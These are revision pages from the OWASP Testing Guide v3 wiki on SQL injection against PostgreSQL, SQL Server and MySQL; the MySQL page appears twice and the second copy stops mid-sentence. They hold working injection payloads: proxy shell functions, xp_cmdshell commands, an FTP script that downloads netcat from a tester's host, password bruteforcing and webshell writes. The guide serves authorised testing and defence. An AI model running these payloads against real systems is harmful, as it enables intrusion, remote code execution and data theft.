/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on a database:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

* OWASP : "[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]"

* OWASP : [[SQL Injection Prevention Cheat Sheet]]

* Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

Testing for SQL Server

2010-07-16T14:47:40Z

Matt Heckathorn: Corrected description of code from Antonin Foller on creating a new xp_cmdshell.

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
In this section some [[SQL Injection]] techniques that utilize specific features of Microsoft SQL Server will be discussed.

== Short Description of the Issue ==
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.

As explained in [[SQL injection]], a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

* Application parameters in query strings (e.g., GET requests)
* Application parameters included as part of the body of a POST request
* Browser-related information (e.g., user-agent, referrer)
* Host-related information (e.g., host name, IP)
* Session-related information (e.g., user ID, cookies)

Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.

== Black Box testing and example ==

===SQL Server Characteristics===

To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:

* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case)
* query separator: ; (semicolon)
* Useful stored procedures include:
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
<br>
Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the '''exec''' function.

Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:
<pre>
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
</pre>
Alternatively, we can use sp_makewebtask:
<pre>
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
</pre>
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.

In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
</pre>
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:
<pre>
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
</pre>
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.

The following example uses the environment variable '''@@version ''', combined with a "union select"-style injection, in order to find the version of the SQL Server.
<pre>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
</pre>
And here's the same attack, but using again the conversion trick:
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
</pre>
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.

In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.

===Example 1: Testing for SQL Injection in a GET request. ===

The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

<nowiki>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1</nowiki>

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.

===Example 2: Testing for SQL Injection in a GET request===

In order to learn how many columns exist

<nowiki>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--</nowiki>

===Example 3: Testing in a POST request ===

SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0

A complete post example:

POST <nowiki>https://vulnerable.web.app/forgotpass.asp HTTP/1.1</nowiki>
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: <nowiki>http://vulnerable.web.app/forgotpass.asp</nowiki>
Content-Type: application/x-www-form-urlencoded
Content-Length: 50<br>
email=%27&whichSubmit=submit&submit.x=0&submit.y=0

The error message obtained when a ' (single quote) character is entered at the email field is:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15

===Example 4: Yet another (useful) GET example===

Obtaining the application's source code

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

===Example 5: custom xp_cmdshell===

All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.
<br><br>
On SQL Server 2000:
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:
<pre>
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
</pre>
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:
<pre>
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
</pre>
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.
<br><br>
On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:
<pre>
master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure
</pre>

===Example 6: Referer / User-Agent===

The REFERER header set to:

Referer: <nowiki>https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--</nowiki>

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

User-Agent: user_agent', 'some_ip'); [SQL CODE]--

===Example 7: SQL Server as a port scanner===

In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:
<pre>
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
</pre>
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:
<pre>
SQL Server does not exist or access denied
</pre>
On the other hand, if the port is open, one of the following errors will be returned:
<pre>
General network error. Check your network documentation
</pre>
<pre>
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
</pre>
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.

Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.

===Example 8: Upload of executables===

Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:
<pre>
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
</pre>
At this point, nc.exe will be uploaded and available.
<br>
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:
<pre>
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
</pre>
At this point, our executable is available on the target machine, ready to be executed.

There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).

===Obtain information when it is not displayed (Out of band)===

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[Blind SQL Injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.

Other options for out of band attacks are described in Sample 4 above.

===Blind SQL injection attacks===

====Trial and error====
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|1]]) against this channel and watch the response. For example, if the web application is looking for a book using a query

select * from books where title='''text entered by the user'''

then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.

====If more than one error message is displayed====
On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:

* In some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes.
* While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''.

This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.

Another out-of-band method is to output the results through HTTP browseable files.

====Timing attacks====
There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'

Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.

However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

====Checking for version and vulnerabilities====
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:

select @@version

On SQL Server 2005, it will return something like the following:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>

The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'

Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.

===Example 9: bruteforce of sysadmin password===

To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server.
Combining these features with an inferenced injection based on response timing, we can inject the following code:
<pre>
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
</pre>
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.
Once we have the sysadmin password, we have two choices:

* Inject all following queries using OPENROWSET, in order to use sysadmin privileges

* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.

Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.

== References ==
'''Whitepapers'''<br>
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf
* Chris Anley, "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
* Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html
* Alexander Chigrik: "Useful undocumented extended stored procedures" - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
* Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
* Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx

'''Tools'''<br>
* Francois Larouche: Multiple DBMS SQL Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net

Testing for MySQL

2010-07-15T14:25:19Z

Matt Heckathorn: corrected spelling of cycles in Time based Blind Injection: BENCHMARK and SLEEP section

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]<br>
{{Template:OWASP Testing Guide v3}}

== Short Description of the Issue ==
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

''MySQL server'' has a few particularities so that some exploits need to be
specially customized for this application. That's the subject of this section.

== Black Box testing and example ==

=== How to Test ===
When an SQL injection vulnerability is found in an application backed by a MySQL database,
there are a number of attacks that could be performed depending
on the MySQL version and user privileges on DBMS.

MySQL comes with at least four versions which are used in production worldwide.
3.23.x, 4.0.x, 4.1.x and 5.0.x.
Every version has a set of features proportional to version number.

* From Version 4.0: UNION
* From Version 4.1: Subqueries
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
* From Version 5.0.2: Triggers

It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.

From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]].

<nowiki>http://www.example.com/page.php?id=2</nowiki>

=== The Single Quotes Problem ===
Before taking advantage of MySQL features,
it has to be taken in consideration how strings could be represented
in a statement, as often web applications escape single quotes.

MySQL quote escaping is the following:<br>
''' <nowiki>'A string with \'quotes\''</nowiki> '''

That is, MySQL interprets escaped apostrophes (\') as characters and not as
metacharacters.

So if the application, to work properly, needs to use constant strings,
two cases are to be differentiated:
# Web app escapes single quotes (' => \')
# Web app does not escape single quotes (' => ')

Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.

Let's suppose we want to know the value of a field named 'password' in a record,
with a condition like the following:
password like 'A%'

# The ASCII values in a concatenated hex:<br>
#: password LIKE 0x4125
# The char() function:
#: password LIKE CHAR(65,37)

=== Multiple mixed queries: ===

MySQL library connectors do not support multiple queries separated
by '''<nowiki>';'</nowiki>''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.

For example the following injection will result in an error:

1 ; update tablename set code='javascript code' where 1 --

=== Information gathering ===

==== Fingerprinting MySQL ====

Of course, the first thing to know is if there's MySQL DBMS as a backend.

MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL
dialect. When a comment block ''('/**/')'' contains an exclamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].

Example:
1 /*! and 1=0 */

'''Result Expected:'''<br>
''If MySQL is present, the clause inside the comment block will be interpreted.''

==== Version ====

There are three ways to gain this information:
# By using the global variable @@version
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]
# By using comment fingerprinting with a version number /*!40110 and 1=0*/
#: which means
<nowiki>if(version >= 4.1.10)
add 'and 1=0' to the query.</nowiki>

These are equivalent as the result is the same.

In band injection:

1 AND 1=0 UNION SELECT @@version /*

Inferential injection:

1 AND @@version like '4.0%'

'''Result Expected:'''<br>
''A string like this: '''5.0.22-log''' ''

==== Login User ====

There are two kinds of users MySQL Server relies upon.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.

There is some difference between 1 and 2.

The main one is that an anonymous user could connect (if allowed)
with any name, but the MySQL internal user is an empty name (<nowiki>''</nowiki>).

Another difference is that a stored procedure or a stored function
are executed as the creator user, if not declared elsewhere. This
can be known by using '''CURRENT_USER'''.

In band injection:

1 AND 1=0 UNION SELECT USER()

Inferential injection:

1 AND USER() like 'root%'

'''Result Expected:'''<br>
''A string like this: '''user@hostname''' ''

==== Database name in use ====

There is the native function DATABASE()

In band injection:

1 AND 1=0 UNION SELECT DATABASE()

Inferential injection:

1 AND DATABASE() like 'db%'

'''Result Expected:'''<br>
''A string like this: '''dbname''' ''

==== INFORMATION_SCHEMA ====
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.
It allows us to get all informations about databases, tables, and columns,
as well as procedures and functions.

Here is a summary of some interesting Views.
{| border=1
|| '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''
|-
|| ..[skipped]..|| ..[skipped]..
|-
|| SCHEMATA || All databases the user has (at least) SELECT_priv
|-
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB
|-
|| TABLES || All tables the user has (at least) SELECT_priv
|-
|| TABLE_PRIVILEGES || The privileges the user has for each table
|-
|| COLUMNS || All columns the user has (at least) SELECT_priv
|-
|| COLUMN_PRIVILEGES || The privileges the user has for each column
|-
|| VIEWS || All columns the user has (at least) SELECT_priv
|-
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)
|-
|| TRIGGERS || Triggers (needs INSERT_priv)
|-
|| USER_PRIVILEGES || Privileges connected User has
|-
|}
All of this information could be extracted by using known techniques as
described in SQL Injection section.

=== Attack vectors ===

==== Write in a File ====

If the connected user has '''FILE''' privileges and single quotes are not escaped,
the 'into outfile' clause can be used to export query results in a file.

Select * from table into outfile '/tmp/file'

Note: there is no way to bypass single quotes surrounding a filename.
So if there's some sanitization on single quotes like escape (\') there will
be no way to use the 'into outfile' clause.

This kind of attack could be used as an out-of-band technique to gain information
about the results of a query or to write a file which could be executed inside the
web server directory.

Example:

<nowiki>1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY '\n<%jsp code here%>';</nowiki>

'''Result Expected:'''<br>
'' Results are stored in a file with rw-rw-rw privileges owned by
MySQL user and group.

Where ''/var/www/root/test.jsp'' will contain:
<nowiki>//field values//
<%jsp code here%></nowiki>

==== Read from a File ====

Load_file is a native function that can read a file when allowed by
filesystem permissions.

If a connected user has '''FILE''' privileges, it could be used to get the files' content.

Single quotes escape sanitization can by bypassed by using previously described
techniques.

load_file('filename')

'''Result Expected:'''<br>

''The whole file will be available for exporting by using standard techniques.''

=== Standard SQL Injection Attack ===

In a standard SQL injection you can have results displayed directly
in a page as normal output or as a MySQL error.
By using already mentioned SQL Injection attacks and the already described
MySQL features, direct SQL injection could be easily accomplished at a level
depth depending primarily on the MySQL version the pentester is facing.

A good attack is to know the results by forcing a function/procedure
or the server itself to throw an error.
A list of errors thrown by MySQL and in particular native functions could
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].

=== Out of band SQL Injection ===

Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.
=== Blind SQL Injection ===
For blind SQL injection, there is a set of useful function natively provided by MySQL server.

* String Length:
*: ''LENGTH(str)''
* Extract a substring from a given string:
*: ''SUBSTRING(string, offset, #chars_returned)''
* Time based Blind Injection: BENCHMARK and SLEEP
*: ''BENCHMARK(#ofcycles,action_to_be_performed )''
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.
*: See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.

For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html

== References ==
'''Whitepapers'''<br>
* Chris Anley: "Hackproofing MySQL" -http://www.nextgenss.com/papers/HackproofingMySQL.pdf

'''Tools'''<br>
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm<br>
* ilo--: MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools<br>
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz<br>
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/

[[Category:FIXME|link not working

'''Case Studies'''<br>
* Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt

]]

Testing for MySQL

2010-07-14T18:24:54Z

Matt Heckathorn: fixed the spelling of exclamation under Fingerprinting MySQL section

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]<br>
{{Template:OWASP Testing Guide v3}}

== Short Description of the Issue ==
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

''MySQL server'' has a few particularities so that some exploits need to be
specially customized for this application. That's the subject of this section.

== Black Box testing and example ==

=== How to Test ===
When an SQL injection vulnerability is found in an application backed by a MySQL database,
there are a number of attacks that could be performed depending
on the MySQL version and user privileges on DBMS.

MySQL comes with at least four versions which are used in production worldwide.
3.23.x, 4.0.x, 4.1.x and 5.0.x.
Every version has a set of features proportional to version number.

* From Version 4.0: UNION
* From Version 4.1: Subqueries
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
* From Version 5.0.2: Triggers

It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.

From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]].

<nowiki>http://www.example.com/page.php?id=2</nowiki>

=== The Single Quotes Problem ===
Before taking advantage of MySQL features,
it has to be taken in consideration how strings could be represented
in a statement, as often web applications escape single quotes.

MySQL quote escaping is the following:<br>
''' <nowiki>'A string with \'quotes\''</nowiki> '''

That is, MySQL interprets escaped apostrophes (\') as characters and not as
metacharacters.

So if the application, to work properly, needs to use constant strings,
two cases are to be differentiated:
# Web app escapes single quotes (' => \')
# Web app does not escape single quotes (' => ')

Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.

Let's suppose we want to know the value of a field named 'password' in a record,
with a condition like the following:
password like 'A%'

# The ASCII values in a concatenated hex:<br>
#: password LIKE 0x4125
# The char() function:
#: password LIKE CHAR(65,37)

=== Multiple mixed queries: ===

MySQL library connectors do not support multiple queries separated
by '''<nowiki>';'</nowiki>''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.

For example the following injection will result in an error:

1 ; update tablename set code='javascript code' where 1 --

=== Information gathering ===

==== Fingerprinting MySQL ====

Of course, the first thing to know is if there's MySQL DBMS as a backend.

MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL
